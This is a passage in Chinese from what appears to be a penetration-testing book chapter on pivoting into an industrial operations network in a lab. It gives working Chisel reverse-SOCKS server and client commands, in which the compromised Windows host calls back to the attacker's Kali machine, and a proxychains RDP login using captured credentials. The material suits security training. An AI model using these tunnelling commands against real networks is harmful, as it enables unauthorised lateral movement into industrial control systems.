这将结合 proxychains 和我们的 SSH 隧道打开远程桌面窗口。我使用 proxychains 和动态隧道,因为它更容易设置,你不需要为每个远程端口进行映射。
Chisel
Chisel 是一款用 Go 编写的工具,允许攻击者在两台主机之间创建 SSH 隧道,独立于主机的 SSH 软件。如果你在一台没有安装 OpenSSH Server 的 Windows 主机上获得了 shell,那么使用这个工具非常合适。我们需要为将要攻破的系统准备专用的二进制文件。你可以从 github.com/jpillora/chisel/releases/tag/v1.7.6 下载这些二进制文件。
我抓取了 linux_amd64 和 windows_amd64 两个二进制文件。我们需要将 chisel_windows_amd64 文件放到我们的 Windows 10 主机上。我想我们在本书中已经涵盖了多种方法,所以我将留给你决定如何将二进制文件传输到目标主机。接下来,我们想在 Kali Linux 主机上设置一个 Chisel 服务器。这样,我们将创建一个 反向 socks 代理。运行以下命令:
./chisel server -p 5555 –reverse &
这将告诉 Chisel 创建一个监听 5555 端口的反向代理服务器,并在后台运行。如果你想排查连接问题,只需去掉 & 符号并运行服务器。你将看到以下结果:
图 11.60 – Chisel 服务器
在我们的 Windows10 主机上,我们希望运行以下 client 命令来创建反向代理连接:
chisel.exe client 172.16.0.6:5555 R:socks &
再次去掉 & 符号来排查连接问题。你应该能看到以下输出:
图 11.61 – 反向代理
正如你可能已经注意到的,当我们运行 server 命令后,最后一行输出显示反向 socks 代理正在监听 1080 端口,如下所示:
图 11.62 – 反向代理监听器
为了使用 proxychains,我们需要将配置中的端口从 9000(用于 SSH 隧道)更改为 1080,这是 Chisel 创建的端口。一旦端口创建完成,重新运行 proxychains 命令:
proxychains xfreerdp /u:operator1 /p:Password1 /v:172.16.0.7
如果一切正常,你应该能够进入一个经过身份验证的 Windows 7 远程桌面会话:
图 11.63 – 使用 proxychains 的 Chisel 反向 shell
如你所见,通过受信任的工作站、绕过防火墙、进入操作网络,再通过几个简单的命令到达工作站是相当简单的。拥有完全认证的会话可以让我们对操作网络造成破坏,如果我们有意为之,且这符合我们的规则。为此,我们使用了proxychains,结合 SSH 隧道,深入网络获取立足点,但我们需要 Windows 10 主机上安装 SSH。为了绕过 SSH 安装要求,我们使用了 Chisel 来获取访问权限。
这些技术展示了单跳的可用性。希望你进入的工业网络较为平坦,这样就足够了,但我知道深度防御得到了广泛应用,这意味着我们必须提升自己的技术,进行多跳渗透。我会把如何使用我们刚刚测试过的工具进行多跳渗透的研究留给你。
总结
在本章中,我们探讨了收集凭证和票据的各种工具和技术。我们利用捕获到的战利品提升了权限,然后通过我们在本章第一节中安装并配置的防火墙进行横向渗透。我知道我之前说过,但我再重复一遍:正如我已故的朋友特雷弗所说,学习如何进行横向渗透是渗透测试员最基本的技能之一,且永远不要忘记 Smashburger。希望在阅读和完成本章的过程中,你能更好地理解为何拥有一个实验室来启动和拆除系统、在其中穿梭并复制客户的环境是如此重要。
现在我们已经深入到操作网络的一侧,下一章我们将通过使用 Ignition SCADA 的用户界面和脚本与物理过程进行交互。